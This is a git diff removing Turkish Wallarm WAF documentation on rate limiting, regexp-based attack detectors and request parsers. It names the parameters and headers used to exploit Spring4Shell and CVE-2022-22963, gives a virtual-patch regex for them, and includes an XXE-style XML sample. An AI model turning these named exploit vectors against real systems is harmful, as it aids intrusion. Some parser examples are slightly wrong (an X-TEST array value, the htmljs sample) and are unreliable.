API Gateway, Fastly bağlayıcıları -* Limitleri ölçtüğünüz parametre değerlerinin izin verilen azami uzunluğu 8000 karakterdir. -* Birden fazla Wallarm düğümünüz varsa ve her düğüme gelen trafik hız sınırlama kuralını sağlıyorsa, bunlar birbirinden bağımsız olarak sınırlandırılır. -* Gelen isteklere birden fazla hız sınırlama kuralı uygulanıyorsa, istekleri sınırlamak için en düşük hız limitine sahip kural kullanılır. -* Gelen bir istek, kuralın **In this part of request** bölümünde belirtilen noktayı içermiyorsa, bu kural o istek için bir sınırlama olarak uygulanmaz. -* Web sunucunuz bağlantıları sınırlayacak şekilde yapılandırılmışsa (ör. [`ngx_http_limit_req_module`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) NGINX modülünü kullanarak) ve ayrıca Wallarm kuralını da uygularsanız, web sunucusu yapılandırılmış kurallara göre istekleri reddeder ancak Wallarm reddetmez. -* Wallarm, hız limitini aşan istekleri kaydetmez; yalnızca kuralda seçilen kodu döndürerek bunları reddeder. İstisna, [saldırı işaretleri](../../about-wallarm/protecting-against-attacks.md) taşıyan isteklere yöneliktir - bunlar, hız sınırlama kuralı tarafından reddedilmiş olsalar bile Wallarm tarafından kaydedilir. - -## Rate abuse protection ile farkı - -Kaynak kullanımını kısıtlamak ve çok sayıda istek kullanılarak gerçekleştirilen saldırıları önlemek için, burada açıklanan hız sınırlamanın yanı sıra Wallarm [rate abuse protection](../../api-protection/dos-protection.md) sağlar. - -Hız sınırlama, oran çok yüksek olduğunda bazı istekleri geciktirir (arabelleğe alır) ve arabellek dolduğunda kalanları reddeder; oran normale döndüğünde arabelleğe alınan istekler teslim edilir, IP veya oturuma göre bir engelleme uygulanmaz; **oysa** rate abuse protection saldırganları bir süreliğine IP’lerine veya oturumlarına göre engeller. \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/regex-rule.md b/docs/latest-tr/user-guides/rules/regex-rule.md deleted file mode 100644 index c9b09048a2..0000000000 --- a/docs/latest-tr/user-guides/rules/regex-rule.md +++ /dev/null @@ -1,110 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[img-regex-example2]: ../../images/user-guides/rules/regex-rule-2.png -[img-regex-id]: ../../images/user-guides/rules/regex-id.png -[request-processing]: ../../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# Özel Saldırı Belirleyicileri - -Wallarm, düzenli ifadelerle tanımlanan kendi saldırı göstergelerinizi tanımlamanız için **Create regexp-based attack indicator** [kuralını](../../user-guides/rules/rules.md) sağlar. - -## Kuralı oluşturma ve uygulama - -Kendi saldırı belirleyicinizi ayarlamak ve uygulamak için: - ---8<-- "../include/rule-creation-initial-step.md" -1. Mitigation controls → Custom attack detector öğesini seçin. -1. If request is içinde, kuralın uygulanacağı kapsamı [açıklayın](rules.md#configuring). -1. Saldırı göstergesi parametrelerinizi ayarlayın: - - * **Regular expression** - düzenli ifade (imza). Aşağıdaki parametrenin değeri bu ifadeyle eşleşirse, söz konusu istek bir saldırı olarak tespit edilir. Düzenli ifadelerin sözdizimi ve özellikleri [kuralların eklenmesine ilişkin yönergelerde](rules.md#condition-type-regex) açıklanmıştır. - - !!! warning "Kuralda belirtilen düzenli ifadeyi değiştirme" - **Create regexp-based attack indicator** türündeki mevcut kuralda belirtilen düzenli ifadeyi değiştirmek, önceki ifadeyi kullanan [**Disable regexp-based attack detection**](#partial-disabling) kurallarının otomatik olarak silinmesine yol açar. - - Yeni düzenli ifadeye göre saldırı tespitini devre dışı bırakmak için, yeni düzenli ifadeyi belirterek yeni bir **Disable regexp-based attack detection** kuralı oluşturun. - - * **Experimental** - bu bayrak, istekleri engellemeden bir düzenli ifadenin tetiklenmesini güvenle kontrol etmenizi sağlar. Filtre düğümü blocking mode olarak ayarlansa bile istekler engellenmez. Bu istekler deneysel yöntemle tespit edilen saldırılar olarak kabul edilir ve varsayılan olarak olay listesinden gizlenir. `experimental attacks` arama sorgusunu kullanarak erişebilirsiniz. - - * **Attack** - istekteki parametre değeri düzenli ifadeyle eşleştiğinde tespit edilecek saldırı türü. - -1. **In this part of request** bölümünde, saldırı işaretlerini aramak istediğiniz [istek bölümlerini](request-processing.md) belirtin. -1. [kuralın derlenmesinin ve filtreleme düğümüne yüklenmesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -## Kural örnekleri - -### Yanlış `X-AUTHENTICATION` başlığına sahip tüm istekleri engelleme - ---8<-- "../include/waf/features/rules/rule-vpatch-regex.md" - -### `class.module.classLoader.*` gövde parametrelerine sahip tüm istekleri engelleme - -[Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell) içindeki 0-gün güvenlik açığından yararlanmanın yollarından biri, aşağıdaki gövde parametrelerine belirli kötü amaçlı yükleri enjekte ederek POST isteği göndermektir: - -* `class.module.classLoader.resources.context.parent.pipeline.first.pattern` -* `class.module.classLoader.resources.context.parent.pipeline.first.suffix` -* `class.module.classLoader.resources.context.parent.pipeline.first.directory` -* `class.module.classLoader.resources.context.parent.pipeline.first.prefix` -* `class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat` - -Savunmasız Spring Core Framework kullanıyorsanız ve Wallarm düğüm [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) değeri blocking dışında ise, sanal yama kullanarak güvenlik açığından yararlanmayı önleyebilirsiniz. Aşağıdaki kural, monitoring ve safe blocking modes durumlarında bile listelenen gövde parametrelerine sahip tüm istekleri engeller: - -![Belirli POST parametreleri için sanal yama](../../images/user-guides/rules/regexp-rule-post-params-spring.png) - -Regular expression alanının değeri: - -```bash -(class[.]module[.]classLoader[.]resources[.]context[.]parent[.]pipeline[.]first[.])(pattern|suffix|directory|prefix|fileDateFormat) -``` - -Blocking [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) ile çalışan Wallarm düğümü bu tür güvenlik açığından yararlanma girişimlerini varsayılan olarak engeller. - -Spring Cloud Function bileşeninde de etkin bir güvenlik açığı (CVE-2022-22963) bulunmaktadır. Bu bileşeni kullanıyorsanız ve Wallarm düğüm mode değeri blocking dışında ise, [aşağıda](#block-all-requests-with-class-cloud-function-routing-expression-header) açıklandığı gibi bir sanal yama oluşturun. - -### `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` başlığına sahip tüm istekleri engelleme - -Spring Cloud Function bileşeninde, `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` veya `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION` başlığına kötü amaçlı yük enjekte edilerek istismar edilebilen etkin bir güvenlik açığı (CVE-2022-22963) vardır. - -Bu bileşeni kullanıyorsanız ve Wallarm düğüm [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) değeri blocking dışında ise, sanal yama kullanarak istismarı önleyebilirsiniz. Aşağıdaki kural, `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` başlığını içeren tüm istekleri engeller: - -![Belirli başlık için sanal yama](../../images/user-guides/rules/regexp-rule-header-spring.png) - -!!! info "`CLASS.CLOUD.FUNCTION-ROUTING-EXPRESSION` başlıklı istekleri engelleme" - Bu kural, `CLASS.CLOUD.FUNCTION-ROUTING-EXPRESSION` başlığına sahip istekleri engellemez ancak NGINX bu başlığa sahip istekleri varsayılan olarak geçersiz sayarak düşürür. - -Blocking [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) ile çalışan Wallarm düğümü bu tür güvenlik açığından yararlanma girişimlerini varsayılan olarak engeller. - -[Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell) içinde ayrıca 0-gün bir güvenlik açığı daha vardır. İstismar girişimlerini [reqexp tabanlı sanal yamayla](#block-all-requests-with-classmoduleclassloader-body-parameters) nasıl engelleyeceğinizi öğrenin. - -## Kısmen devre dışı bırakma - -Oluşturulan kural belirli bir dal (branch) için kısmen devre dışı bırakılacaksa, aşağıdaki alanlarla **Disable regexp-based attack detection** kuralını oluşturarak kolayca yapılabilir: - -- **Regular expression**: yok sayılması gereken daha önce oluşturulmuş düzenli ifadeler. - - !!! warning "Düzenli ifade değiştirildiyse kuralın davranışı" - [**Create regexp-based attack indicator**](#creating-and-applying-rule) türündeki mevcut kuralda belirtilen düzenli ifadeyi değiştirmek, önceki ifadeyi kullanan **Disable regexp-based attack detection** kurallarının otomatik olarak silinmesine yol açar. - - Yeni düzenli ifadeye göre saldırı tespitini devre dışı bırakmak için, yeni düzenli ifadeyi belirterek yeni bir **Disable regexp-based attack detection** kuralı oluşturun. - -- **in this part of request**: istisna tanımlanması gereken parametreyi belirtir. - -**Örnek: Belirli bir URL için hatalı X-Authentication başlığına izin verme** - -`example.com/test.php` adresinde bir betiğiniz olduğunu ve bunun için belirteçlerin (token) biçimini değiştirmek istediğinizi varsayalım. - -İlgili kuralı oluşturmak için: - -1. **Rules WAF** sekmesine gidin -1. `example.com/test.php` için dalı (branch) bulun veya oluşturun ve **Add rule**’a tıklayın. -1. **Fine-tuning attack detection** → **Disable custom attack detector** öğesini seçin. -1. Devre dışı bırakmak istediğiniz düzenli ifadeyi seçin. -1. Seçeneği `Header X-AUTHENTICATION` olarak ayarlayın. -1. **Create**’e tıklayın. - -![Regex kuralı ikinci örnek][img-regex-example2] - -## Kuralı oluşturmak için API çağrısı - -Regexp tabanlı saldırı göstergesini oluşturmak için [Wallarm API’sini doğrudan çağırabilirsiniz](../../api/request-examples.md#create-a-rule-to-consider-the-requests-with-specific-value-of-the-x-forwarded-for-header-as-attacks). \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/request-processing.md b/docs/latest-tr/user-guides/rules/request-processing.md deleted file mode 100644 index dd29819e0c..0000000000 --- a/docs/latest-tr/user-guides/rules/request-processing.md +++ /dev/null @@ -1,466 +0,0 @@ -[rule-creation-options]: ../../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# İsteklerin Ayrıştırılması - -İstekleri analiz ederken, Wallarm filtreleme düğümü kapsamlı bir ayrıştırıcı seti kullanır. İstek bölümleri belirlendikten sonra, saldırı tespitinde daha sonra kullanılan istek meta parametrelerini sağlamak için ayrıştırıcılar her biri üzerinde sıralı olarak uygulanır. Kullanılabilir ayrıştırıcılar, kullanım mantıkları ve bu mantık için olası yapılandırmalar bu makalede açıklanmaktadır. - -Etkili bir ayrıştırma için, Wallarm şu ilkelere uyar: - -* Korumalı uygulama ile aynı verilerle çalışın. Örneğin: - - Bir uygulama bir JSON API sunuyorsa, işlenen parametreler de JSON formatında kodlanır. Parametre değerlerini almak için Wallarm JSON ayrıştırıcıyı kullanır. Verilerin birden fazla kez kodlandığı daha karmaşık durumlar da vardır — örneğin, JSON’dan Base64’e, tekrar JSON’a. Bu tür durumlar birden fazla ayrıştırıcı ile kod çözmeyi gerektirir. - -* Veri işlemenin bağlamını göz önünde bulundurun. Örneğin: - - `name` parametresi, oluşturma isteklerinde hem ürün adı hem de kullanıcı adı olarak iletilebilir. Ancak, bu tür isteklerin işleme kodu farklı olabilir. Bu tür parametreleri analiz etme yöntemini tanımlamak için Wallarm, isteklerin gönderildiği URL’yi veya diğer parametreleri kullanabilir. - -## İstek bölümlerinin tanımlanması ve ayrıştırılması - -HTTP isteğinin en üst seviyesinden başlayarak, filtreleme düğümü her uygun ayrıştırıcıyı her bölüme sıralı olarak uygulamaya çalışır. Uygulanan ayrıştırıcıların listesi, verinin doğasına ve sistemin önceki eğitim sonuçlarına bağlıdır. - -Ayrıştırıcılardan çıkan çıktı, benzer şekilde analiz edilmesi gereken ek bir parametre kümesi haline gelir. Ayrıştırıcı çıktısı bazen JSON, dizi veya ilişkisel dizi gibi karmaşık bir yapı haline gelir. - -!!! info "Ayrıştırıcı etiketleri" - Her ayrıştırıcının bir tanımlayıcısı (etiket) vardır. Örneğin, istek başlıklarının ayrıştırıcısı için `header`. İstek analizinde kullanılan etiket kümesi, Wallarm Console içinde olay detaylarında görüntülenir. Bu veriler, saldırının tespit edildiği istek bölümünü ve kullanılan ayrıştırıcıları gösterir. - - Örneğin, bir saldırı `SOAPACTION` başlığında tespit edildiyse: - - ![Etiket örneği](../../images/user-guides/rules/tags-example.png) - -### URL - -Her HTTP isteği bir URL içerir. Saldırıları bulmak için, filtreleme düğümü hem orijinal değeri hem de bunun bireysel bileşenlerini analiz eder: **path**, **action_name**, **action_ext**, **query**. - -URL ayrıştırıcısına karşılık gelen etiketler şunlardır: - -* **uri**, alan adını içermeyen orijinal URL değeri için (örneğin, `http://example.com/blogs/123/index.php?q=aaa` isteği için `/blogs/123/index.php?q=aaa`). -* **path**, `/` sembolü ile ayrılmış URL parçalarından oluşan bir dizi için (URL’nin son parçası diziye dahil edilmez). URL’de yalnızca bir parça varsa, dizi boş olur. -* **action_name**, `/` sembolünden sonraki ve ilk nokta (`.`) öncesindeki URL’nin son parçası için. Bu URL parçası istekte her zaman mevcuttur, değeri boş bir dize olsa bile. -* **action_ext**, URL’nin son noktasından (`.`) sonraki parçası için. İstekte olmayabilir. - - !!! warning "Birden fazla nokta bulunduğunda **action_name** ile **action_ext** arasındaki sınır" - `/` sembolünden sonraki URL’nin son parçasında birden fazla nokta (`.`) varsa, **action_name** ile **action_ext** arasındaki sınırla ilgili sorunlar oluşabilir, örneğin: - - * Sınırın **ilk** noktaya göre belirlenmesi, örneğin: - - `/modern/static/js/cb-common.ffc63abe.chunk.js.map` → - - * ... - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe.chunk.js.map` - - * Ayrıştırma sonrasında bazı öğelerin kaybolması, yukarıdaki örnek için bu şöyle olabilir: - - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe` - - Bunu düzeltmek için URI constructor’ın [advanced edit form](rules.md#advanced-edit-form) ekranında **action_name** ve **action_ext** noktalarını elle düzenleyin. - -* **query**, `?` sembolünden sonraki [sorgu dizesi parametreleri](#query-string-parameters) için. - -Örnek: - -`/blogs/123/index.php?q=aaa` - -* `[uri]` — `/blogs/123/index.php?q=aaa` -* `[path, 0]` — `blogs` -* `[path, 1]` — `123` -* `[action_name]` — `index` -* `[action_ext]` — `php` -* `[query, 'q']` — `aaa` - -### Sorgu dizesi parametreleri - -Sorgu dizesi parametreleri, `key=value` formatında URL’de `?` karakterinden sonra uygulamaya iletilir. Ayrıştırıcıya karşılık gelen etiket **query**’dir. - -İstek örneği | Sorgu dizesi parametreleri ve değerleri ----- | ----- -`/?q=some+text&check=yes` |
              • `[query, 'q']` — `some text`
              • `[query, 'check']` — `yes`
              -`/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb` |
              • `[query, 'p1', hash, 'x']` — `1`
              • `[query, 'p1', hash, 'y']` — `2`
              • `[query, 'p2', array, 0]` — `aaa`
              • `[query, 'p2', array, 1]` — `bbb`
              -`/?p3=1&p3=2` |
              • `[query, 'p3', array, 0]` — `1`
              • `[query, 'p3', array, 1]` — `2`
              • `[query, 'p3', pollution]` — `1,2`
              - -### İsteğin kaynak IP adresi - -Wallarm kurallarında isteğin kaynak IP adresi için istek noktası `remote_addr`’dır. Bu nokta yalnızca IP başına istekleri sınırlamak için [**Advanced rate limiting**](rate-limiting.md) kuralında kullanılır. - -### Başlıklar - -Başlıklar HTTP isteğinde ve bazı diğer formatlarda (ör. **multipart**) bulunur. Ayrıştırıcıya karşılık gelen etiket **header**’dır. Başlık adları her zaman büyük harfe dönüştürülür. - -Örnek: - -``` -GET / HTTP/1.1 -Host: example.com -X-Test: aaa -X-Test: bbb -``` - -* `[header, 'HOST']` — `example.com` -* `[header, 'X-TEST', array, 0]` — `aaa` -* `[header, 'X-TEST', array, 1]` — `aaa` -* `[header, 'X-TEST', pollution]` — `aaa,bbb` - -### Meta veriler - -HTTP istek meta verileri için ayrıştırıcıya karşılık gelen etiketler şunlardır: - -* **post** — HTTP istek gövdesi için -* **method** — HTTP istek yöntemi için: `GET`, `POST`, `PUT`, `DELETE` -* **proto** — HTTP protokol sürümü için -* **scheme**: http/https -* **application** — uygulama kimliği için - -### Ek ayrıştırıcılar - -Karmaşık istek bölümleri ek ayrıştırma gerektirebilir (örneğin, veri Base64 ile kodlandıysa veya dizi formatında sunulduysa). Bu tür durumlarda, aşağıda listelenen ayrıştırıcılar istek bölümlerine ek olarak uygulanır. - -#### base64 - -Base64 ile kodlanmış verileri çözer ve isteğin herhangi bir bölümüne uygulanabilir. - -#### gzip - -GZIP ile kodlanmış verileri çözer ve isteğin herhangi bir bölümüne uygulanabilir. - -#### htmljs - -HTML ve JS sembollerini metin biçimine dönüştürür ve isteğin herhangi bir bölümüne uygulanabilir. - -Örnek: `"aaa"` ifadesi `"aaa"` olarak dönüştürülür. - -#### json_doc - -Veriyi JSON formatında ayrıştırır ve isteğin herhangi bir bölümüne uygulanabilir. - -Filtreler: - -* **json_array** veya **array**, dizi öğesinin değeri için -* **json_obj** veya **hash**, ilişkisel dizi anahtarının (`key:value`) değeri için - -Örnek: - -``` -{"p1":"value","p2":["v1","v2"],"p3":{"somekey":"somevalue"}} -``` - -* `[..., json_doc, hash, 'p1']` — `value` -* `[..., json_doc, hash, 'p2', array, 0]` — `v1` -* `[..., json_doc, hash, 'p2', array, 1]` — `v2` -* `[..., json_doc, hash, 'p3', hash, 'somekey']` — `somevalue` - -#### xml - -Veriyi XML formatında ayrıştırır ve isteğin herhangi bir bölümüne uygulanabilir. - -Filtreler: - -* **xml_comment**, bir XML belgesinin gövdesindeki yorumlardan oluşan bir dizi için -* **xml_dtd**, kullanılan harici DTD şemasının adresi için -* **xml_dtd_entity**, Entity DTD belgesinde tanımlanan bir dizi için -* **xml_pi**, işlenecek yönergelerden oluşan bir dizi için -* **xml_tag** veya **hash**, etiketlerden oluşan ilişkisel bir dizi için - - !!! info "Ad alanlarıyla **xml_tag** biçimlendirme" - **xml_tag** içinde URI, ad alanı ve etiket adını birlikte belirtirseniz, gerekli ayırıcı Wallarm düğümü sürümüne bağlıdır: - - * 6.3.0 ve sonraki sürümlerde `URI|namespace|tag_name`, ör. `https://www.w3.org/path|xhtml|html` - * 6.3.0’dan önceki sürümlerde `URI:namespace:tag_name`, ör. `https://www.w3.org/path:xhtml:html` - -* **xml_tag_array** veya **array**, etiket değerlerinden oluşan bir dizi için -* **xml_attr**, özniteliklerden oluşan ilişkisel bir dizi için; yalnızca **xml_tag** filtresinden sonra kullanılabilir - -XML ayrıştırıcı, etiket içeriği ile etiketin değerleri dizisindeki ilk öğe arasında ayrım yapmaz. Yani, `[..., xml, xml_tag, 't1']` ve `[..., xml, xml_tag, 't1', array, 0]` parametreleri özdeştir ve birbirinin yerine kullanılabilir. - -Örnek: - -``` - -]> - - - - &xxe; - 123 - 234 - -``` - -* `[..., xml, xml_dtd_entity, 0]` — ad = `xxe`, değer = `aaaa` -* `[..., xml, xml_pi, 0]` — ad = `xml-stylesheet`, değer = `type="text/xsl" href="style.xsl"` -* `[..., xml, xml_comment, 0]` — ` deneme ` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodName']` — `aaaa` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs']` — `123` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', xml_attr, 'check']` — `true` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', array, 1]` — `234` - -#### array - -Veri dizisini ayrıştırır. İsteğin herhangi bir bölümüne uygulanabilir. - -Örnek: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p2', array, 0]` — `aaa` -* `[query, 'p2', array, 1]` — `bbb` - -#### hash - -İlişkisel veri dizisini (`key:value`) ayrıştırır ve isteğin herhangi bir bölümüne uygulanabilir. - -Örnek: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p1', hash, 'x']` — `1` -* `[query, 'p1', hash, 'y']` — `2` - -#### pollution - -Aynı ada sahip parametrelerin değerlerini birleştirir ve isteğin herhangi bir bölümüne, başlangıç veya kodu çözülmüş formatta uygulanabilir. - -Örnek: - -``` -/?p3=1&p3=2 -``` - -* `[query, 'p3', pollution]` — `1,2` - -#### percent - -URL sembollerinin kodunu çözer ve yalnızca URL’nin **uri** bileşenine uygulanabilir. - -#### cookie - -Cookie istek parametrelerini ayrıştırır ve yalnızca istek başlıklarına uygulanabilir. - -Örnek: - -``` -GET / HTTP/1.1 -Cookie: a=1; b=2 -``` - -* `[header, 'COOKIE', cookie, 'a']` = `1`; -* `[header, 'COOKIE', cookie, 'b']` = `2`. - -#### form_urlencoded - -`application/x-www-form-urlencoded` formatında iletilen istek gövdesini ayrıştırır ve yalnızca istek gövdesine uygulanabilir. - -Örnek: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, form_urlencoded, 'p1']` — `1` -* `[post, form_urlencoded, 'p2', hash, 'a']` — `2` -* `[post, form_urlencoded, 'p2', hash, 'b']` — `3` -* `[post, form_urlencoded, 'p3', array, 0]` — `4` -* `[post, form_urlencoded, 'p3', array, 1]` — `5` -* `[post, form_urlencoded, 'p4', array, 0]` — `6` -* `[post, form_urlencoded, 'p4', array, 1]` — `7` -* `[post, form_urlencoded, 'p4', pollution]` — `6,7` - -#### grpc - -gRPC API isteklerini ayrıştırır ve yalnızca istek gövdesine uygulanabilir. - -Protocol Buffers verileri için **protobuf** filtresini destekler. - -#### multipart - -`multipart` formatında iletilen istek gövdesini ayrıştırır ve yalnızca istek gövdesine uygulanabilir. - -İstek gövdesindeki başlıklar için **header** filtresini destekler. - -Örnek: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, multipart, 'p1']` — `1` -* `[post, multipart, 'p2', hash, 'a']` — `2` -* `[post, multipart, 'p2', hash, 'b']` — `3` -* `[post, multipart, 'p3', array, 0]` — `4` -* `[post, multipart, 'p3', array, 1]` — `5` -* `[post, multipart, 'p4', array, 0]` — `6` -* `[post, multipart, 'p4', array, 1]` — `7` -* `[post, multipart, 'p4', pollution]` — `6,7` - -`Content-Disposition` başlığında bir dosya adı belirtilmişse, bu parametrede bir dosyanın yüklendiği kabul edilir. Parametre şöyle görünür: - -* `[post, multipart, 'someparam', file]` — dosya içeriği - -#### viewstate - -Oturum durumunu analiz etmek için tasarlanmıştır. Teknoloji Microsoft ASP.NET tarafından kullanılır ve yalnızca istek gövdesine uygulanabilir. - -Filtreler: - -* **viewstate_array** — bir dizi için -* **viewstate_pair** — bir dizi için -* **viewstate_triplet** — bir dizi için -* **viewstate_dict** — bir ilişkisel dizi için -* **viewstate_dict_key** — bir dize için -* **viewstate_dict_value** — bir dize için -* **viewstate_sparse_array** — bir ilişkisel dizi için - -#### jwt - -JWT belirteçlerini ayrıştırır ve isteğin herhangi bir bölümüne uygulanabilir. - -JWT ayrıştırıcısı, tespit edilen JWT yapısına göre sonucu aşağıdaki parametrelerde döndürür: - -* `jwt_prefix`: desteklenen JWT değer öneklerinden biri — lsapi2, mobapp2, bearer. Ayrıştırıcı önek değerini büyük/küçük harf duyarsız okur. -* `jwt_header`: JWT üst bilgisi. Değeri aldıktan sonra Wallarm genellikle buna [`base64`](#base64) ve [`json_doc`](#json_doc) ayrıştırıcılarını da uygular. -* `jwt_payload`: JWT yükü. Değeri aldıktan sonra Wallarm genellikle buna [`base64`](#base64) ve [`json_doc`](#json_doc) ayrıştırıcılarını da uygular. - -JWT’ler isteğin herhangi bir bölümünde iletilebilir. Bu nedenle, `jwt` ayrıştırıcısını uygulamadan önce Wallarm, ilgili istek bölümü ayrıştırıcısını kullanır; ör. [`query`](#query-string-parameters) veya [`header`](#headers). - -`Authentication` başlığında iletilen JWT örneği: - -```bash -Authentication: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -``` - -* `[header, AUTHENTICATION, jwt, 'jwt_prefix']` — `Bearer` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'alg']` — `HS256` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'typ']` — `JWT` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'sub']` — `1234567890` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'name']` — `John Doe` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'iat']` — `1516239022` - -[rule](rules.md)’ün uygulanacağı bir istek öğesini tanımlarken: - -* Önce JWT içeren istek bölümünün ayrıştırıcısını seçin -* `jwt` ayrıştırıcı değeri olarak listelenen `jwt_*` parametrelerinden birini belirtin, ör. `name` JWT yükü parametresi değeri için: - -![Bir kuralda JWT param tanımı](../../images/user-guides/rules/request-element-desc.png) - -#### gql - -GraphQL yürütülebilir tanımlarını (sorgular, mutasyonlar, abonelikler ve parçalar) ayrıştırır; bu da GraphQL’e özgü istek noktalarında [girdi doğrulama saldırılarının](../../attacks-vulns-list.md#attack-types) gelişmiş tespitini sağlar. NGINX Node 5.3.0 veya üstü ya da native node 0.12.0 gerektirir. - -Filtreler: - - * **gql_query** — bir sorgu işlemi için - * **gql_mutation** — bir mutasyon işlemi için - * **gql_subscription** — bir abonelik işlemi için - * **gql_alias** — bir alan takma adı için - * **gql_arg** — alan argümanları için - * **gql_dir** — bir yönerge için - * **gql_spread** — bir parça yayılımı için - * **gql_fragment** — bir parça tanımı için - * **gql_type** — bir parça tanımının veya satır içi parçanın adlandırılmış türü için - * **gql_inline** — bir satır içi parça için - * **gql_var** — bir değişken tanımı için - -Örnekler: - -``` -query GetUser { - user(id: "1") { - ...UserFields @include(if: true) - } -} -``` - -* `[..., gql, gql_query, 'GetUser', hash, 'user', gql_arg, hash, 'id']` — `1` -* `[..., gql, gql_query, 'GetUser', hash, 'user', gql_spread,` `'UserFields', gql_dir, 'include', gql_arg, hash, 'if']` — `true` - -``` -query GetAllUsers { - users(limit: 10) { - ...UserFields @include(if: true) - } -} -``` - -* `[..., gql, gql_query, 'GetAllUsers', hash, 'users', gql_arg, hash, 'limit']` — `10` -* `[..., gql, gql_query, 'GetAllUsers', hash, 'users',` `gql_spread, 'UserFields', gql_dir, 'include', gql_arg, hash, 'if']` — `true` - -``` -fragment UserFields on User { - id - name - email - posts(status: "published") { - title - content - } -} -``` - -* `[..., gql, gql_fragment, 'UserFields', gql_type,` `'User', hash, 'posts', gql_arg, hash, 'status']` — `published` - -Ayrıştırıcı, [API Sessions](../../api-sessions/overview.md#graphql-requests-in-api-sessions) içinde GraphQL istek parametrelerinin değerlerini çıkarmayı ve görüntülemeyi ve isteklerin GraphQL’e özgü bölümlerine [kurallar](rules.md) uygulamayı sağlar: - -![GraphQL istek noktasına uygulanan kural örneği](../../images/user-guides/rules/rule-applied-to-graphql-point.png) - -!!! info "Wallarm ile GraphQL koruması" - Varsayılan olarak [her zaman etkin](#managing-parsers) ayrıştırıcı, GraphQL’de düzenli saldırıların (SQLi, RCE, vb.) tespitini sağlarken, Wallarm ayrıca GraphQL’e özgü saldırılara karşı korumayı [yapılandırmayı](../../api-protection/graphql-rule.md) da sağlar. - -### Normlar - -Normlar, dizi ve anahtar veri tipleri için ayrıştırıcılara uygulanır. Normlar, veri analizinin sınırlarını tanımlamak için kullanılır. Normun değeri ayrıştırıcı etiketinde belirtilir. Örneğin: **hash_all**, **hash_name**. - -Norm belirtilmemişse, işlenmesi gereken varlığın tanımlayıcısı ayrıştırıcıya geçirilir. Örneğin: JSON nesnesinin adı veya diğer bir tanımlayıcı **hash**’ten sonra iletilir. - -**all** - -Tüm öğe, parametre veya nesne değerlerini almak için kullanılır. Örneğin: - -* URL yolunun tüm parçaları için **path_all** -* Tüm sorgu dizesi parametre değerleri için **query_all** -* Tüm başlık değerleri için **header_all** -* Tüm dizi öğe değerleri için **array_all** -* Tüm JSON nesnesi veya XML öznitelik değerleri için **hash_all** -* Tüm JWT değerleri için **jwt_all** - -**name** - -Tüm öğe, parametre veya nesne adlarını almak için kullanılır. Örneğin: - -* Tüm sorgu dizesi parametre adları için **query_name** -* Tüm başlık adları için **header_name** -* Tüm JSON nesnesi veya XML öznitelik adları için **hash_name** -* JWT içeren tüm parametrelerin adları için **jwt_name** - -## Ayrıştırıcıların yönetimi - -Varsayılan olarak, isteği analiz ederken Wallarm düğümü, isteğin her bir ögesine uygun [ayrıştırıcılardan](request-processing.md) her birini sıralı olarak uygulamaya çalışır. Ancak, bazı ayrıştırıcılar hatalı şekilde uygulanabilir ve bunun sonucunda Wallarm düğümü kodu çözülmüş değerde saldırı işaretleri tespit edebilir. - -Örneğin: Wallarm düğümü, Base64 alfabesi sembolleri düzenli metinlerde, belirteç değerlerinde, UUID değerlerinde ve diğer veri formatlarında sıklıkla kullanıldığından, kodlanmamış veriyi [Base64](https://en.wikipedia.org/wiki/Base64) ile kodlanmış olarak yanlışlıkla tanımlayabilir. Kodlanmamış verinin kodunu çözüp ortaya çıkan değerde saldırı işaretleri tespit edilirse, [false positive](../../about-wallarm/protecting-against-attacks.md#false-positives) oluşur. - -Bu tür yanlış pozitifleri önlemek için Wallarm, belirli istek ögelerine yanlışlıkla uygulanan ayrıştırıcıları devre dışı bırakmak amacıyla **Disable/Enable request parser** kuralını sağlar. - -**Kuralın oluşturulması ve uygulanması** - 